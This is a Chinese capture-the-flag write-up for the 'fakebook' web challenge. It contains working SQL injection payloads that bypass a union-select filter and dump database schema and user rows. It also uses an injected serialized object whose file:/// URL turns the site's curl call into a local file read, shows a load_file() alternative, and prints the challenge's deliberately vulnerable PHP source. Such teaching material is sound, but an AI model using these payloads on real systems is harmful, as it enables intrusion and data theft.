0%

fakebook-writeup

背景

本题来源于2018年网鼎杯,攻防世界WEB进阶019上是原题。题目考察的是SQL注入中的UNION注入、SSRF和反序列化的组合利用,是一道比较综合性的题目,值得学习。

正文

打开题目链接,注册用户

可以测试发现view.php可能存在SQL注入:

使用order by测试,枚举到此注入点有5列数据,payload:

1
1 order by 5

使用UNION SELECT测试注入点,发现UNION SELECT会被拦截,使用注释符绕过:

1
2
?no=1 union select 1,2,3,4
?no=-1 union/**/select 1,2,3,4

可以看到第二列输出到了页面,先获取当前用户名试试:

1
?no=-1 union/**/select 1,user(),3,4

查询所有数据库名:

1
?no=-1 union/**/select 1,(select group_concat(SCHEMA_NAME) from information_schema.schemata)a,3,4

查询fakebook的所有表名:

1
?no=-1 union/**/select 1,(select group_concat(TABLE_NAME)from information_schema.TABLES WHERE TABLE_SCHEMA='fakebook')a,3,4

查询fakebook的users表所有列名:

1
?no=-1 union/**/select 1,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='fakebook' and TABLE_NAME='users')a,3,4

查询fakebook的users表的数据:

1
?no=-1 union/**/select 1,(select group_concat(no,'=',username,'=',passwd,'=',data) from users)a,3,4

观察data列及页面报错,推测存在反序列化漏洞,直接修改序列化的字符串中的url和长度:

1
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"222";s:3:"age";i:123;s:4:"blog";s:18:"file:///etc/passwd";}'

枚举几个常见flag文件路径,最终得到flag:

1
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"222";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

小插曲,读取index.php中也有一个flag字符串,一度认为这是最终flag,却提示错误,此处想暴打出题人!

非预期解法

mysql中有一个load_file()函数,这个函数可以读取本地文件,但是有两个条件:

  • 用户有很高的权限
  • 知道文件的绝对路径

本题中数据库恰好使用了root用户:

那么可以通过load_file读取文件:

1
-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4

题目源码

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php session_start(); ?>
<?php require_once 'db.php'; ?>
<?php require_once 'user.php'; ?>
<?php

$flag = "FLAG{flag is in your mind}";

$db = new DB();
$user = new UserInfo();

?>
<!doctype html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Fakebook</title>

<?php include 'bootstrap.php'; ?>

</head>
<body>
<div class="container">
<h1>the Fakebook</h1>
<?php

if (!isset($_SESSION['username'])) {
$message = "<div class='row'>";
$message .= "<div class='col-md-2'><a href='login.php' class='btn btn-success'>login</a></div>";
$message .= "<div class='col-md-2'><a href='join.php' class='btn btn-info'>join</a></div>";
$message .= "</div>";

echo $message;
}


?>
<p>Share your stories with friends, family and friends from all over the world on <code>Fakebook</code>.</p>

<table class="table">
<tr>
<th>#</th>
<th>username</th>
<th>age</th>
<th>blog</th>
</tr>
<?php

foreach ($db->getAllUsers() as $user)
{
$data = unserialize($user['data']);

echo "<tr>";
echo "<td>{$user['no']}</td>";
echo "<td><a href='view.php?no={$user['no']}'>{$user['username']}</a></td>";
echo "<td>{$data->age}</td>";
echo "<td>{$data->blog}</td>";
echo "</tr>\n";
}

?>
</table>
</div>
</body>
</html>

db.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

require_once 'lib.php';
$mysqli = new mysqli('127.0.0.1', 'root', 'naiwjebfahjebfja', 'fakebook');

class DB {

function __construct() {
// $mysqli = new mysqli('localhost', 'root', '!@#1234!@#', 'fakebook');
}

public function isValidUsername($username) {
global $mysqli;
$query = "select * from users where username = '{$username}'";
$res = $mysqli->query($query);
if (!$res->fetch_array()) {
return 1;
} else {
return 0;
}

}

function login($username, $passwd) {
global $mysqli;

$username = addslashes($username);
$passwd = sha512($passwd);
$query = "select * from users where username = '{$username}' and passwd = '{$passwd}'";
$res = $mysqli->query($query);

return $res->fetch_array();
}

function insertUser($username, $passwd, $data) {
global $mysqli;

$username = substr($username, 0, 100);
$username = addslashes($username);
$passwd = sha512($passwd);
$data = serialize($data);
$data = addslashes($data);

$query = "insert into users (username, passwd, data) values ('{$username}', '{$passwd}', '{$data}')";
return $mysqli->real_query($query);
}

public function getAllUsers() {
global $mysqli;

$query = "select * from users";
$res = $mysqli->query($query);
return $res->fetch_all(MYSQLI_ASSOC);
}

public function getUserByNo($no) {
global $mysqli;

// $no = addslashes($no);
$query = "select * from users where no = {$no}";
$res = $mysqli->query($query);
if (!$res) {
echo "<p>[*] query error! ({$mysqli->error})</p>";
}

return $res->fetch_assoc();
}

public function anti_sqli($no) {
$patterns = "/union\Wselect|0x|hex/i";

return preg_match($patterns, $no);
}

}

/*
CREATE TABLE `users` ( `no` INT NOT NULL AUTO_INCREMENT , `username` VARCHAR(100) NOT NULL , `passwd` VARCHAR(128) NOT NULL , `data` TEXT NOT NULL , PRIMARY KEY (`no`)) ENGINE = MyISAM;

*/

user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

lib.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

function sha512($data)
{
return hash('sha512', $data);
}

function xss($data)
{
return htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
}

function anti_object_injection($unserializedData)
{
if (preg_match("/O:/i", $unserializedData))
{
return 0;
}

else
return 1;
}

bootstrap.php

1
2
3
4
5
<link rel="stylesheet" href="css/bootstrap.min.css" crossorigin="anonymous">
<script src="js/jquery-3.3.1.slim.min.js" crossorigin="anonymous"></script>
<script src="js/popper.min.js" crossorigin="anonymous"></script>
<script src="js/bootstrap.min.js" crossorigin="anonymous"></script>

view.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php session_start(); ?>
<?php require_once 'db.php'; ?>
<?php require_once 'user.php'; ?>
<?php require_once 'error.php'; ?>
<?php

$db = new DB();

?>
<!doctype html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>User</title>

<?php require_once 'bootstrap.php'; ?>
</head>
<body>
<?php

$no = $_GET['no'];
if ($db->anti_sqli($no))
{
die("no hack ~_~");
}

$res = $db->getUserByNo($no);
$user = unserialize($res['data']);
//print_r($res);

?>
<div class="container">
<table class="table">
<tr>
<th>
username
</th>
<th>
age
</th>
<th>
blog
</th>
</tr>
<tr>
<td>
<?php echo $res['username']; ?>
</td>
<td>
<?php echo $user->age; ?>
</td>
<td>
<?php echo xss($user->blog); ?>
</td>
</tr>
</table>

<hr>
<br><br><br><br><br>
<p>the contents of his/her blog</p>
<hr>
<?php

$response = $user->getBlogContents();
if ($response === 404)
{
echo "404 Not found";
}

else
{
$base64 = base64_encode($response);
echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>";
// echo $response;
}

// var_dump($user->getBlogContents());
?>

</div>
</body>
</html>

error.php

1
2
3
4
5
6
7
<?php

error_reporting(E_ALL);
ini_set("display_errors", 1);
// error_reporting(0);
// ini_set("display_errors", 0);

flag.php

1
2
3
4
5
<?php

$flag = "flag{c1e552fdf77049fabf65168f22f7aeab}";
exit(0);

join.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<!doctype html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Join</title>

<?php include 'bootstrap.php'; ?>

</head>
<body>
<div class="container">
<h1>Join</h1>
<div class="form-group">
<form action="join.ok.php" method="post">
<div class="row">
<div class="col-md-1">
username
</div>
<div class="col-md-4">
<input type="text" name="username" maxlength="100" class="form-control">
</div>
</div>

<div class="row">
<div class="col-md-1">
passwd :
</div>
<div class="col-md-4">
<input type="password" name="passwd" class="form-control">
</div>
</div>

<div class="row">
<div class="col-md-1">
age :
</div>
<div class="col-md-4">
<input type="text" name="age" class="form-control">
</div>
</div>

<div class="row">
<div class="col-md-1">
blog :
</div>
<div class="col-md-4">
<input type="text" name="blog" class="form-control">
</div>
</div>

<div class="row">
<input type="submit" value="join" class="btn btn-info">
</div>


</form>
</div>
</div>
</body>
</html>